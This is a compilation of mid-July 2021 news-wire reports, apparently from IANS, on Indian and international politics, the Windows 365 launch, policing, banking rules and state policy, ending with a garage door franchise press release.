Revanth Reddy, who took over as state chief last week, also appointed in charges for five mandals and two towns in the constituency. They will coordinate with the party functionaries to strengthen the party in the constituency.

He also named Karimnagar district Congress committee President K. Satyanarayana as the control room coordinator.

Rajanarasimha thanked Congress chief Sonia Gandhi, party leader Rahul Gandhi and Revanth Reddy for appointing him in charge of Huzurabad by-election. He said he would do his best to fulfill the responsibilities given to him.

His appointment came two days after the party expelled P. Kaushik Reddy for anti-party activities. Kaushik Reddy, who was the party in charge for the constituency, landed in trouble after an audio of his telephonic conversation with an activist of ruling Telangana Rashtra Samithi (TRS) surfaced.

In the audio, Kaushik Reddy was heard claiming that he will contest the by-election on a TRS ticket and asked the TRS activist to mobilise party workers who can campaign for him.

After the Congress served him a show-cause notice, Kaushik Reddy announced his resignation targeting Revanth Reddy and other leaders. He alleged that the Congress leaders were not serious in contesting the by-election. The party announced that it has expelled Kaushik Reddy.

Huzurabad seat fell vacant following resignation of former minister E. Rajender from the Assembly. Rajender, who was dropped from the State Cabinet in May, quit the TRS and joined the BJP last month. He will be contesting the by-election as a BJP candidate.
Berlin, July 14 : German Chancellor Angela Merkel is going to visit Washington on Thursday, expecting to tackle issues dominating the transatlantic ties.

The U.S. government has planned welcoming programs to show solidarity between allies, while the German public is urging Merkel to push for solutions concerning energy and trade.

Merkel will deliver a speech on Thursday before her official meeting with U.S. President Joe Biden, and she and her husband will be invited to dinner in the White House, according to the schedule released by Deutsche Presse Agentur.

White House Press Secretary Jen Psaki said the meeting will shore up the partnership between the two countries.

She said the "forward-looking visit" will focus on increasing cooperation in the coming months and years, hinting at topics on post-Merkel-era relations.

Merkel, in her fourth term, has made it clear several times that she will not seek another term in Germany's federal election scheduled for September, Xinhua reported.

It is Merkel's first visit to the United States after Biden took office and probably her last one as German chancellor, and some German media predicted that Biden might use an occasion during the visit to bid farewell.

The meeting comes weeks after Biden's Europe tour aimed at restoring the transatlantic ties. Analysts said although Merkel may get a warm reception, not like her last visit in 2018, Germany has to realise that the U.S. government has shifted its focus to the Asia-Pacific region.

Topics between Merkel and Biden will include the COVID-19 pandemic, climate change, economic prosperity and international security based on shared values, according to a press release from the U.S. embassy in Berlin.

However, none of the topics is drawing more attention than the Nord Stream 2 gas pipeline that links Russia to Germany via the Baltic seabed, bypassing Ukraine.

Washington has long accused the project of posing a geopolitical threat to Ukraine, which is denied by both Germany and Russia.

The U.S. government recently waived sanctions against German companies in the project, but the Russian ships and entities involved were not exempted.

Psaki said Biden continues to view the pipeline as a "bad deal," and she declined to comment on whether an agreement could be reached after the upcoming meeting.

Before heading off to Washington, Merkel on Monday met with Ukrainian President Volodymyr Zelensky, reassuring him Germany and the European Union (EU) will persuade Russia not to route all of its gas pipelines around Ukraine in the future.

Merkel said she would discuss the issue with Biden but didn't "know whether the papers will be finalized." Another pending issue is the 25-per cent steel and 10-per cent aluminum tariffs imposed three years ago by the U.S. administration of Donald Trump.

The EU in May temporarily suspended the counter-tariffs that targeted a series of U.S. products, including whiskey, motorbikes, jeans, in a goodwill gesture. However, the U.S. government is still hesitating to lift the tariffs.

Biden is facing pressure to keep the tariffs in place from steel industry groups and unions in some key states that helped him win the presidential election.

Washington and Brussels have established a working group to solve the issue by December through negotiation.

Siegfried Russwurm, president of Federation of German Industries, said European exporters are burdened with bureaucracy and high costs concerning the tariffs. Russwurm expected Merkel to dismantle trade barriers and make it easier for business travelers to travel to the United States again.
New Delhi, July 14 : In a bid to help businesses of all sizes boost productivity in the hybrid work scenario, Microsoft on Wednesday announced a new Cloud service called Windows 365 that will run in Microsoft Cloud and allow customers to set up a Cloud PC with ease.

Windows 365 is not a new operating system but a new way to experience either Windows 10 or Windows 11 in a virtual environment, that streams the full Windows experience to any device. Essentially, Windows 365 allows customers to fuse together the best of the cloud and the device itself.

Microsoft Chairman and CEO Satya Nadella said that with Windows 365, the company is creating a new category: the Cloud PC.

"Just like applications were brought to the cloud with SaaS, we are now bringing the operating system to the cloud, providing organisations with greater flexibility and a secure way to empower their workforce to be more productive and connected, regardless of location," Nadella said during the 'Microsoft Inspire 2021' event.

Windows 365 will be generally available to businesses of all sizes starting on August 2.

Windows 365 is not a replacement for Azure Virtual Desktop or AVD which is the starting point that the company uses to build Windows 365.

While in AVD, you pay on a consumption basis, in Windows 365, you will pay per user per month per PC or per Cloud PC.

Jared Spataro, corporate vice president, Microsoft 365 said that hybrid work has fundamentally changed the role of technology in organisations in the pandemic.

"Cloud PC is an exciting, new category of hybrid personal computing that turns any device into a personalised, productive, and secure digital workspace," he said.

With instant-on boot to their personal Cloud PC, users can stream all their applications, tools, data, and settings from the cloud across any device.

Windows 365 provides the full PC experience in the cloud. The cloud also provides versatility in processing power and storage, enabling IT to scale up or down, based on their needs.

With a choice of either Windows 10 or Windows 11 (once it is generally available later in 2021), organisations can choose the Cloud PC that works for them with per-user per-month pricing, the company informed.

With Windows 365 optimised for the endpoint, IT can easily procure, deploy, and manage Cloud PCs for their organisation just like they manage physical PCs through Microsoft Endpoint Manager.

Small and mid-size businesses can purchase Windows 365 directly or through a cloud service provider, and set-up their organisation with Cloud PCs with just a few clicks.

Microsoft said that Windows 365 is secure by design, leveraging the power of the cloud and the principles of Zero Trust.

"Information is secured and stored in the cloud, not on the device. Always up to date and building on the strength of rich Microsoft security capabilities and baselines, Windows 365 simplifies security and recommends the best security settings for the environment at hand," the company noted.
Guwahati, July 14 : Union Home Minister Amit Shah has said that drug peddling, cattle smuggling and human trafficking are the major problems of the northeastern region and these should be dealt with the utmost priority, Assam Chief Minister Himanta Biswa Sarma said in the Assembly on Wednesday. Replying to the questions in the ongoing budget session of the Assam assembly, Sarma said that his government has adopted a zero tolerance policy towards the drug menace.

The Chief Minister said that efforts are on in all the northeastern states to fight the drug menace unitedly. "Home Minister Amit Shah has asked me to take stern measures against drugs, cow smuggling and human trafficking," said Sarma, who launched a war against the drug menace after becoming the 15th Chief Minister of Assam on May 10.

The Chief Minister told the house that in just two months 1,897 persons involved in the illegal drugs trade have been arrested by the Assam police and over 1,100 cases registered under the Narcotics Drugs and Psychotropic Substances (NDPS) Act and other provisions of the Indian Penal Code.

Sarma, who also holds the Home portfolio, said that during the past two months, 28 kilogram of heroin, 41 kilogram of opium and huge quantities of various other drugs have been seized by the Assam police from different parts of the state. He said that a public bonfire of the seized drugs would be held on July 17 and 18 at four places in the state.

"Some outlawed militant outfits and their cadres are also involved in the drug peddling. Some political parties are trying to demoralise the police in their war against drugs," the Chief Minister said.

Promising to intensify the crusade against illegal drugs, the CM said that drugs are mostly smuggled from Myanmar making Assam a transit route. Sarma said hundreds of youths are being led astray in Assam with various drugs.

On July 1, the Assam police arrested a serial offender, drugs manufacturer and peddler Jahangir Alom from Goalpara district and seized drugs worth Rs 10 crore from his residence at Bhalukdubi in western Assam bordering Meghalaya.

In another major haul on June 17 in the state's Karbi Anglong district, the Assam police seized heroin valued at Rs 7 crore and arrested two persons, including a woman drug peddler. Both are residents of neighbouring Nagaland.
Mumbai, July 14 : Seeking to scotch all speculation, Nationalist Congress Party supremo Sharad Pawar on Wednesday said that he was not standing in the Presidential election in mid-2022, as reported in some sections of the media.

Rubbishing the rumours circulating in political circles since this morning after poll strategist Prashant Kishor met top Congress leaders in New Delhi, Pawar said it was "absolutely false" that he will contest for the post of President.

"I know what the result will be, given the party (ruling Bharatiya Janata Party) has more than 300 MPs," the 81-year-old told media.

On his meetings with Kishor, Pawar said that though they met twice, the discussion pertaining to a company of his, in mid-June in Mumbai and New Delhi.

"No talks were held regarding the leadership for the 2024 elections or the Presidential polls. He also informed that he has quit the field of devising election strategies for parties," he added.

The veteran leader pointed out that nothing has been decided so far, whether it is the 2024 Lok Sabha or Maharashtra Assembly elections, since the polls are still far off, and the political scenario keeps changing.

"I am not going to assume any leadership for the 2024 elections," declared Pawar with an air of finality on the issue.

The NCP's national spokesperson and Maharashtra Minister Nawab Malik also made it clear that there was no discussion pertaining to the Presidential polls in the party.

"However, if someone is circulating such news, then I would like to clarify that its not true," Malik said, of unsourced reports claiming Pawar would be the joint Opposition nominee for the 2022 Presidential elections.
New Delhi, July 14 : Congress leader Rahul Gandhi on Wednesday walked out of the meeting of the Parliamentary Standing Committee on Defence over differences on its agenda.

Sources said that Gandhi wanted that a discussion on border dispute on China should have been incorporated in the agenda but this was declined by the Committee's Chairman, Jual Oram of the BJP.

Gandhi has been critical of the government on the issue of the border dispute with China and has accused it of mishandling the situation.

Congress President Sonia Gandhi had also issued statement on the anniversary of Galwan clash in which 20 Indian soldiers had been killed as well as unknown number of Chinese soldiers.

"Having patiently waited for the government to come clean and inform the nation about the circumstances in which the unprecedented incident happened and reassure the people that the sacrifice of our brave jawans was not in vain, the Congress Party reiterates its concern that no clarity is yet available and the Prime Minister's last word on the subject a year ago was that no transgression had occurred," she had said.
Mumbai, July 14 : Aamir Khan's production house has denied claims that the cast and crew of the actor-filmmaker's upcoming film "Laal Singh Chaddha" littered Ladakh during an outdoor location shoot in the region.

A statement issued by Aamir Khan Productions (AKP) on its verified Instagram account reads: "To whomsoever it may concern: AKP would like to clarify that as a company we follow strict protocols for cleanliness in and around our shooting spaces.

"We have a team which makes sure that the location is trash free at all times. At the end of the day there is a re-check of the entire location. At the end of the entire schedule, we make sure that when we leave a location we leave it as clean, or cleaner than we found it." "We believe that there are some rumours/allegations about our location not being kept clean.

"We strongly deny such claims.

"Our location is always open to relevant local authorities to carry out checks anytime that they like," the statement concluded.

The issue was raised when certain netizens alleged on Twitter that the film unit had littered in the Wakha area of Ladakh while shooting in the region.
Patna, July 14 : Two persons of a family were gunned down in Bihar's Bhagalpur district on Wednesday afternoon, police said.

The deceased were identified as Govind Yadav and his younger brother Raj Kumar Yadav, residents of Kishanpur village under Madhusudanpur police station in the district.

Preliminary investigation reveals that accused Vikram Yadav, Arvind Yadav and others had called the victims to the Mahakal Dhaba located on Kishanpur bypass road. When the brothers reached the dhaba, the accused opened fire on them, leaving them dead on the spot.

"We have learnt that the victims and accused had personal enmity over some issues and the latter called the former to settle the matter," the investigating officer of the case said.

Bhagalpur ASP Puran Jha said: "We have registered an FIR under relevant IPC sections of murder and criminal conspiracy against Vikram Yadav, Arvind Yadav and others. They are at large. We have constituted a dedicated team to nab the accused."
Itanagar, July 14 : With unwavering zeal, health and district officials in Arunachal Pradesh trekked over nine hours to vaccinate 16 grazers staying at 14,000 feet above the sea level at Luguthang, one of the remotest villages in Tawang district, close to the border with Tibet.

Tawang Deputy Commissioner Sang Phuntsok led the eight-member team which vaccinated the 16 villagers on Monday, as they were left out of the government's Covid immunisation camp organised by the Tawang's health and district authorities on May 19.

The mission came to light when Arunachal Pradesh Chief Minister Pema Khandu tweeted: "Reaching the unreached -- Bringing Covid Vaccines to remote communities. Covid frontline warriors trek for hours in this absolutely breathtaking sceneries to vaccinate a small community of Yak herders who live in high mountainous areas of Tawang district in Arunachal Pradesh." The Chief Minister also tagged photographs of the frontier soldiers, including women, led by the Tawang Deputy Commissioner trekking through the mountainous terrain to reach their destination at the furthest village of Luguthang, which is aerially 30 km from Tawang.

In all, 10 families comprising 65 people in the village are yak grazers.

The May 19 vaccination camp was organised at Domtsang, a village between Luguthang and Thingbu Hydel. The inoculation camp was aimed to cater to Luguthang and the other villages in the area.

According to the health officials, 33 villagers of Luguthang in the eligible age group got immunised on May 19.

A district official told IANS over phone that the grazers move out with their livestock to far-flung areas and despite their various efforts, including sending messages through the villagers, 16 grazers were left out of the vaccination camp.

"But Deputy Commissioner Sang Phuntsok was determined to vaccinate the 16 grazers who were left out," the official said.

The official added that the Deputy Commissioner, doctors and other officials, including zila parishad chairman Leki Gombu, started their trek from the Thingbu Hydel village at 7.15 am on Sunday and reached Luguthang at 4.30 p.m. after crossing two hazardous peaks in Tawang district -- Nyukteng and Nahchhot. The villagers were vaccinated the following day.

There is no motorable road from Thingbu Hydel to Luguthang, which forced the team to undertake the strenuous expedition on foot.

The officials had to walk through thick forests, swampy stretches and Luguthang river, a tributary of Tawang Chu, numerous times.

The officials and the health staff also explained to the villagers the utility of inoculation after they were given the jab by district reproductive and child health officer Rinchin Neema.

The health employees and veterinary officials gave them free medicines for diarrhoea, deworming and other ailments for both the villagers and their livestock.

Besides Covid vaccination, 19 other patients were also treated for different ailments by the accompanying doctors.

(Sujit Chakraborty can be contacted at sujit.c@ians.in)

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New Delhi, July 14 : External Affairs Minister S. Jaishankar told his Chinese counterpart on Wednesday that the relationship between the two countries is being impacted in a negative manner by the existing situation in Eastern Ladakh getting prolonged.

Jaishankar met the State Councilor and Foreign Minister of China, Wang Yi, on the sidelines of SCO Foreign Ministers' meet in Dushanbe, Tajikistan.

Recalling their last meeting in Moscow in September 2020, the External Affairs Minister emphasised the need to follow through on the agreement reached then and complete the disengagement process, resolving the remaining issues along the Line of Actual Control (LAC) in Eastern Ladakh at the earliest.

"The External Affairs Minister pointed out to the State Councilor that the successful disengagement in the Pangong Lake area earlier this year had created conditions for resolving the remaining issues. It was expected that the Chinese side would work with us towards this objective. The EAM, however, noted that the situation in the remaining areas is still unresolved," said a statement issued by the Ministry of External Affairs.

Jaishankar recalled that both sides had agreed that a prolongation of the existing situation is not in the interest of either side. It is visibly impacting the relationship in a negative manner, he added.

India emphasised that maintenance of peace and tranquility in the border areas has been the foundation for the development of ties since 1988. The attempts to change the status quo last year that also disregarded commitments under the 1993 and 1996 agreements have inevitably affected ties, Jaishankar said.

"He emphasised that it was, therefore, in mutual interest that the two sides work towards early resolution of the remaining issues along the LAC in Eastern Ladakh, while fully abiding by bilateral agreements and protocols," the statement added.

The two ministers noted the agreement between both sides in the last meeting of the WMCC on June 25, 2021 to hold another round of meeting of senior military commanders. They agreed that this should be convened at the earliest.

The MEA said they also agreed that in this meeting, the two sides should discuss all the remaining issues and seek a mutually acceptable solution. There was also an understanding that both sides will continue to ensure stability on the ground and neither side will take any unilateral action that could increase tension.

The two ministers had a detailed exchange of views on the current situation along the LAC in Eastern Ladakh and also on the other issues related to the overall India-China relations.
Mumbai, July 14 : The Reserve Bank of India (RBI) has proposed changes in rules for fundraising by primary (urban) co-operative banks.

On Wednesday, the central bank released a draft circular for issue and regulation of share capital and securities of primary (urban) co-operative banks.

"UCBs are permitted to raise equity share capital, as hitherto, by way of issue of equity shares to persons within their area of operation enrolled as members, in accordance with the provisions of their bye-laws, and issue of additional equity shares to the existing members," it said.

The RBI has proposed that any refund of share capital to members, or their nominees, should be subject to the certain conditions -- the bank's capital adequacy ratio is 9 per cent or above, both as per the latest audited financial statements and the last CRAR as assessed by the RBI during statutory inspection.

Such refund should not result in the bank's capital adequacy falling below regulatory minimum of 9 per cent.

The RBI has directed cooperative banks to ensure their investors are educated on the risk characteristics of regulatory capital requirements.

It has also asked cooperative banks to have a specific sign-off from the investors to ensure they have understood the features and risks of the instruments.

The urban co-operative banks have been asked to not benchmark floating rate instruments to the fixed deposit rate.
New Delhi, July 14 : Prime Minister Narendra Modi on Wednesday asked Union Ministers to come well-prepared for the Monsoon session of the Parliament, sources said.

The Prime Minister chaired a meeting of the Council of Ministers ahead of the Monsoon session starting from July 19. This was the second meeting of the Council of Ministers after the reshuffle of the Union Cabinet on July 7.

Earlier in the day, he chaired a meeting of the Union Cabinet.

"The Prime Minister advised the ministers to also prepare for parliamentary questions so that they can be able to answer any questions. He also advised the minister to learn parliamentary procedure," a source said.

It is learnt that a presentation was made for new ministers to understand parliamentary procedure like how to introduce bills in the house.

Sources also said that the Prime Minister asked the ministers to ensure maximum attendance and spend time inside the house.

He also asked the Ministers of State to keep themselves updated about work of their ministry by coordinating with their Cabinet Minister.

On July 8, in the first meeting of the Council of Ministers after the reshuffle, the Prime Minister advised new ministers to learn from the experience of those who are no longer part of the Council of Ministers and benefit from their experience.

"In the last meeting, the Prime Minister had told the ministers to carefully choose their words and avoid making unnecessary comments in the media," a source said.
Panaji, July 14 : Hours after Delhi Chief Minister Arvind Kejriwal blamed the Delhi Development Authority (DDA) -- a Central government agency -- for the demolition of a church in South Delhi's Chattarpur area, the Congress lashed out at him, accusing the Aam Aaadmi Party of playing a silent spectator to the partial demolition of the religious institution.

Addressing a press conference in Panaji on Wednesday, All India Congress Committee (AICC) national spokesperson Shama Mohamed also said that the demolition was carried out without giving notice to the church authorities.

"BJP and AAP are two sides of the same coin, and both of them spread hatred and encourage communal divide for their selfish political gains. Delhi Chief Minister Arvind Kejriwal lied to the Goans on the church demolition in Delhi," Mohamed said.

"The DDA has two AAP MLAs, one BJP MLA and three BJP corporators as members. We hold both Prime Minister Narendra Modi and Delhi CM Arvind Kejriwal responsible for the demolition, which was a completely illegal and insensitive act," she said.

Mohamed also questioned the silence of AAP MLAs Dilip Pandey and Somnath Bharti on the demolition issue.

"The lone BJP MLA, O.P. Sharma, also remained a silent spectator in the illegal act of demolishing a religious structure," Mohamed said.

Earlier on Wednesday, Kejriwal, who is on a two-day visit to Goa, said that the Delhi government had no role to play in the demolition of the church in Chattarpur.

"It was done by DDA, which is under the Central government. DDA is not under Delhi government. It perhaps went to the high court which gave an order after which the DDA has taken the action. Our local MLA is with the church and we are providing the support required," Kejriwal said in a media interaction in Panaji.

He also promised to "study" the issue and said that "justice will be done" in the matter.

A portion of the church was demolished earlier this week over alleged encroachment issues during a demolition drive, even as members of the church claimed that the demolition was illegal.
Hyderabad, July 14 : For the first time after Eatala Rajender was dropped from the Telangana cabinet, TRS working president K.T. Rama Rao targeted him and asked him to specify what injustice he was subjected to in the party.

On Rajender's statement that he was fighting for self-respect, KTR, as Rama Rao is popularly known, remarked that the former minister is indulging in self-deception and also deceiving the people.

Rama Rao, who is also a cabinet minister, asked Rajender to introspect what TRS has given him and what it has done for him.

In an informal chat with reporters, KTR said while enjoying various posts in TRS, Rajender was in touch with other parties. He alleged that while being in the cabinet, he used to find fault with its decisions.

This is the first time that KTR has reacted since Rajender was dropped from the state cabinet by Chief Minister K. Chandrasekhara Rao in May following allegations that he encroached lands of some farmers in Medak district for his family's poultry unit.

The TRS leader also asked why Rajender continued as minister when his self-respect was hurt. He claimed that Rajender tried to continue in TRS till the last minute.

Last month, Rajender had resigned from the TRS and joined the BJP. He also resigned from the Huzurabad Assembly seat and is now preparing to contest the by-election on a BJP ticket.

Exuding confidence that TRS will retain the Huzurabad seat, KTR said the by-election will be a contest among parties and not individuals.

Stating that Rajender has admitted his mistakes, KTR asked why people would have sympathy for him.
Dhaka, July 14 : India's investment in Bangladesh is huge and will increase more gradually due to "three reasons", leading Bangladesh business personality Abdul Matlub Ahmad said.

In an interview to IANS, Ahmad, who is the President of the India-Bangladesh Chamber of Commerce and Industry (IBCCI) and Chairman of Nitol-Niloy Group of Companies, one of the prime conglomerates of the country, said India is such a good friend of Bangladesh, and the supply of oxygen from it through Benapole port has been resumed after two months.

He said Indian investors are keen on Bangladesh as "three important reasons are behind this".

"One of the three reasons is low labour cost in Bangladesh, which is one-third of Indian labour cost. Secondly, Indian importers get a huge market of 1.70 million people, and it is rising very fast," he said, hoping that if the pandemic risk decreases within 2 months, it will jump higher.

"And the third reason is, Bangladesh has arrangements with 39 countries based on the world class status of trade," he added.

"Indian products have 30 per cent value added in Bangladesh. Products with Indian raw materials are made in Bangladesh. 39 countries including India have an arrangement with Bangladesh. It (Bangladesh) is a huge market. Especially the Indian investors are getting a good amount of export incentives and other incentives from the Bangladesh government, which inspires the foreign investors to invest in Bangladesh." At the same time, Ahmad said that importing goods from India is the easiest, cost effective, fastest, as also safest for Bangladesh. "As per our requirement, we get facilities there. For this reason, export to India also increased, our business people also keen to export their products to India." "Otherwise, it is safest serving the trade as per our requirement, although it's a big pressure on connectivity through the water, rail, or by air. Regular business and trade are naturally rising high. But if new laws are required for new trade, we will implement them. Yes, we need to activate and implement more laws, which are required for broader trade and business," he added.
New Delhi, July 14 : The Jamiat Ulama-i-Hind (JUH) said on Wednesday that it will provide legal help to the persons arrested by the ATS in Lucknow for their alleged terror activities.

The JUH said that the arrested persons' family members have sought legal help following which an advocate has been appointed to fight the case.

JUH President Arshad Madani alleged that the security agencies have been targeting Muslim youth without any proof and hundreds of them have been let off by the courts and the JUH will fight their cases till their logical end.

The JUH also demanded the case to be tried in a fast-track court.

The Uttar Pradesh ATS arrested three more suspects on Wednesday in connection with planning terror attacks in the state, particularly in Lucknow.

The arrested persons have been identified as Shakeel, 35, Mohd Mustaqeem, 44, and Mohd Moid, 29.

According to an official statement, the three were arrested following information provided by Maseeruddin and Minhaz Ansari, who were arrested on Sunday.
Mysuru : , July 14 (IANS) Karnataka Revenue Minister R. Ashoka said on Wednesday that the Deputy Commissioner of Mandya will be asked to constitute a committee of experts to look into complaints of 'cracks developing in the state's iconic Krishna Raja Sagara (KRS) dam that was built across the Cauvery river in Srirangapatna in Mandya about a century ago.

This statement assumes significance in the backdrop of Mandya MP Sumalata Ambreesh relentlessly accusing that 'rampant illegal mining' in the vicinity of the KRS dam has resulted in cracks in the almost century-old dam built in 1924.

Ashoka, who is also the Vice-Chairman for the Karnataka State Disaster Management Authority, told reporters here that as of now, there is no threat to the dam whatsoever.

"Allegations are doing the rounds that illegal mining in the vicinity of the dam is a cause of serious concern, which is being raised by some (Mandya MP Sumalatha Ambareesh). We are seriously looking into these allegations. We are not taking anyone's side on this issue. Our job is to allay fears of thousands of farmers who rely on this dam," he said.

In response to a question, the minister said that if there is any threat from any mining activity to the dam, the state government will not hesitate to shut it down even if it's a legal mine.

Ashoka said that he was on a tour of Mysuru and Mandya districts exclusively to convene meetings with regard to the safety of the KRS dam.

"Already, dam safety experts have given a report ruling out any cracks or breach or any damage to the structure of the dam. But since 'some people' are expressing concern, we will set up another committee to look into these allegations. The state government wants to clear the air once and for all," he said.

He added that there is nothing to hide in this issue as any breach or crack in the century-old structure will trigger panic in various quarters.

"We need to keep that in mind. Therefore, we are setting up another panel to look into the matter, just to allay the fears of the farmers and various other stakeholders," he said.
Bengaluru, July 14 : In a major operation against vehicle robbery in Bengaluru, 17 notorious robbers were arrested and 20 cars and 58 bikes recovered from them, police said on Wednesday.

Three country-made pistols and 24 live cartridges were also seized from them, the Bengaluru East police said.

Noting 'teamwork makes the dream work', Bengaluru Police Commissioner, Kamal Pant said that this is one of the biggest seizure of stolen vehicles under a single jurisdiction.

"This was a joint operation under Deputy Commissioner of Police, East, and in his jurisdiction, different police station teams have arrested 17 persons wanted in several cases. Three country-made pistols, 24 live cartridges, 20 cars, and 58 two-wheelers valued around Rs 2.25 crore were seized," he said.

According to the police, those country-made pistols and 24 live cartridges were recovered from three criminals - Faizulla, Syed Siraj Ahmed and Mohammed Ali aka Shera of Banaswadi police limits.

The police added that the three had procured these weapons from Kopargaon in Maharashtra's Ahmednagar district.

"These three are suspected to have underworld links with Maharashtra and their antecedents are being probed in detail in this case," a police officer said.
Hyderabad, July 14 : The Telangana cabinet on Wednesday approved a food processing policy, which aims to attract Rs 25,000 crore investment, besides providing 70,000 direct and indirect employments to 3 lakh people.

It was decided that in the first phase, 10 food processing zones will be set up in the state. Each zone will come up in 500-1,000 acres and by 2024-25, the food processing zones will be set up in 10,000 acres of land.

The cabinet has also decided to give incentives to the entrepreneurs investing in the food processing sector.

Since the yield of paddy is increasing regularly, it has been decided to set up food processing units in a big way.

The government would develop all the basic infrastructure facilities and allocate lands to those eligible among the applicants. It has also been also decided to give special incentives to the food processing units of international quality.

The cabinet has also decided to extend the last date for the entrepreneurs to apply from July 12 to July 31.

The cabinet instructed the officials to implement a food processing zone policy to improve technology and skills in the agri sector. Rice mills, industries, food processing units for pulses, oilseeds, fruits, flowers, vegetables, meat, chicken, fish, milk and dairy products would be set up under this policy.

The cabinet is of the opinion that the state has the capacity to process the surplus produce of agriculture, horticulture, animal husbandry, and milk and fisheries sectors, which has been achieved due to the marked increase in irrigation capabilities in the state.

The cabinet decided to provide financial incentives to the producers, farmers' organisations, and self-help groups for the progress of the value chain through the setting up of the food processing units.

Units established in the food processing zones will get several subsidies like power subsidy of Rs 2 per unit for 5 years, reimbursement of 75 per cent of the interest on term loan (below Rs 2 crore) taken for investment, and reimbursement of 100 per cent market committee fee for 7 years.

SCs, STs, minorities, self-help groups and farmers' organisations will get additional incentives.

The decisions were taken on the second day of the cabinet meeting presided over by Chief Minister K. Chandrasekhar Rao.

Rao noted that due to various measures being taken by the government, last year the state produced a record 3 crore tonnes of paddy. He hinted that paddy yield may further go up next year.

During the current monsoon season, 1.40 crore acres are under cultivation with paddy and cotton, which are expected to get bumper yields.

The CM said the storage capacity in the state should be increased, while the milling capacity in rice mills should also be raised.

The state cabinet has decided to constitute a cabinet sub-committee under the chairmanship of Agriculture Minister S. Niranjan Reddy on the measures to be taken for paddy storage, milling, marketing and establishment of new industries in the backdrop of high paddy yields.

The cabinet also decided to encourage palm oil cultivation in the state. For 2022-23, it has been decided to encourage and inspire farmers to take up palm oil cultivation in 20 lakh acres of land.

As part of this, the cabinet decided to give Rs 26,000 per acre in the first year, and Rs 5,000 per acre in the second year and third years as input financial incentive.
New Delhi, July 15 : DMK MP and former Union Minister Dayanidhi Maran was pleasantly surprised when he came to know that fellow parliamentarian Rajiv Pratap Rudy was the pilot of his flight from New Delhi to Chennai.

Dubbing it a "A Flight to Remember", Maran, in a series of tweets on late Tuesday evening, shared his experience on his flight back to Chennai from New Delhi after attending a meeting of Parliament's Estimates Committee.

"A Flight to remember. July 13, 2021, I boarded the Indigo flight 6E864 from Delhi to Chennai after attending a meeting of the parliamentary Estimates Committee. I happened to sit in the first row, as the crew declared that the boarding had completed.

"'So you are traveling in this flight as well!' said a person dressed in the Captain's uniform. I could not recognize him with his mask on, although his voice sounded familiar. I nodded my head, still wondering who it could be.

"He looked at me and his eyes gave away the smile behind the mask. 'So you don't recognize me!' he exclaimed. I realized then that it was none other than my colleague, senior member of parliament and former Union Minister - my very good friend Thiru Rajiv Pratap Rudy." Maran noted that two hours ago, Rudy was also present in the meeting of the Estimates Committee and he could not believe his "transformation".

"Just 2 hours ago, he and I were part of intense discussions at the Estimates Committee and now I couldn't believe my eyes, seeing his transformation from a politician to a pilot," the DMK MP said.

"I was pleasantly surprised and told Rudyji that I couldn't believe that he was going to be the captain flying us from Delhi to Chennai. He laughed and said 'Yes, I noticed that you didn't recognize me, I fly frequently'." Maran said: "I could only say that I was honoured to be flown by my good friend and colleague. Rudyji also served as a Minister of State, when my father was the Union Minister for Commerce.

"A flight to remember indeed. How often does a sitting Member of Parliament captain a commercial flight? I'm sure I will be talking about this for a long time. Thank you Captain @RajivPratapRudy, MP for flying us safely from Delhi to Chennai."
Bengaluru, July 15 : Karnataka would convert 150 Industrial Training Institutes (ITIs) across the state into technology hubs under the Udyoga (job creation) scheme at a cost of Rs 5,000 crore, said Deputy Chief Minister C.N. Ashwath Narayan on Wednesday.

"Converting ITIs into technology hubs will accelerate up-skilling our youth workforce across the state and prepare them for jobs," Narayan told reporters here on the eve of 'World Youth Skills Day on Thursday.

Narayan, who holds portfolios of IT, BT (biotech) and Science and Technology, said the Rs 5,000-crore job scheme would be launched in October.

"The conversion will include refurbishing 78 old labs, setting up 72 new labs and constructing new building in the state-run institutes across the state," he said.

Of 1,713 ITIs in southern state, 270 are run by the state government, 196 are aided and 1,247 are operated by private, with a combined strength of 1.8-lakh students.

The state technical education department has tied up the institutes (polytechnics) with leading industrial firms to provide quality training on shopfloor to their students and revamped the curriculum.

The department will soon open 6 more government tool room and training centres (GTTCs) as an addition to 24 such centres across the state.

"We will also implement knowledge skill initiative in all state-run schools across the state to hone skills of students before they join technology hubs for further training," said Narayan.

The state government will also open two more Karnataka German Technology Training Institutes (KGTTIs) at Belagavi and Mangaluru in addition to the 5 such institutes across the state.

"A 'Skill Hub' will be set up at Ramanagara near Bengaluru by integrating programmes initiated for skill development," added Narayan.
Access Garage Doors, an industry leader with more than 15 years of experience in residential and commercial garage door repair and installation, is growing its presence in the Southeast. The company is proud to welcome military veteran Nick Clapper as its newest franchise owner. His business, Access Garage Doors of Central Kentucky, includes Richmond and Lexington.

After serving in the Army for five years, including a tour of duty in Afghanistan, Nick returned to his home state of Kentucky, ready to launch the next chapter of his professional career. Not one to sit behind a desk all day, Nick got into the home construction industry, quickly learning what it takes to run a successful business. He also saw the opportunity to start a business of his own in the garage door industry.

I couldve started a business from scratch, but the proven business model and professional relationships that Access Garage Doors has already developed made joining the Access team the best way to hit the ground running, said Clapper. Access Garage Doors is an authorized dealer or service provider for the biggest names in the industry, including LiftMaster, Home Depot, Genie, Clopay, and Amarr. Im excited to offer these high-quality doors and opener systems to my customers along with the professionalism and attention to detail that Access is known for.

The hands-on training and continuing education programs developed by Access Garage Doors were key factors in Clappers decision to invest in this franchise opportunity.

During my Discovery Day, I saw first-hand the training that new owners were experiencing, said Clapper. Theyre not sitting in an office watching videos for two weeks. Theyre learning the mechanics of garage doors and openers, going on sales calls, and being trained on the operations part of the business. I really felt like the corporate team does everything they can to set up new owners for success. Im excited to bring this level of service to my customers in Central Kentucky.

Access Garage Doors President and CEO, Jesse Cox, says Clapper will be a great addition to the Access team.

Nick has an entrepreneurial drive and understands the needs of his community, said Cox. Im confident he can take on any challenge that comes his way. Were excited to add Central Kentucky to our family of franchises as Access Garage Doors continues our nationwide expansion.

The Access Garage Doors franchise is a low-overhead business model for entrepreneurs searching for a recession-resistant business opportunity. For more information about franchise opportunities, please visit: https://accessdoorcompany.com/franchise/.

To learn more about Access Garage Doors, please visit: https://accessdoorcompany.com/.

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ABOUT ACCESS GARAGE DOORS

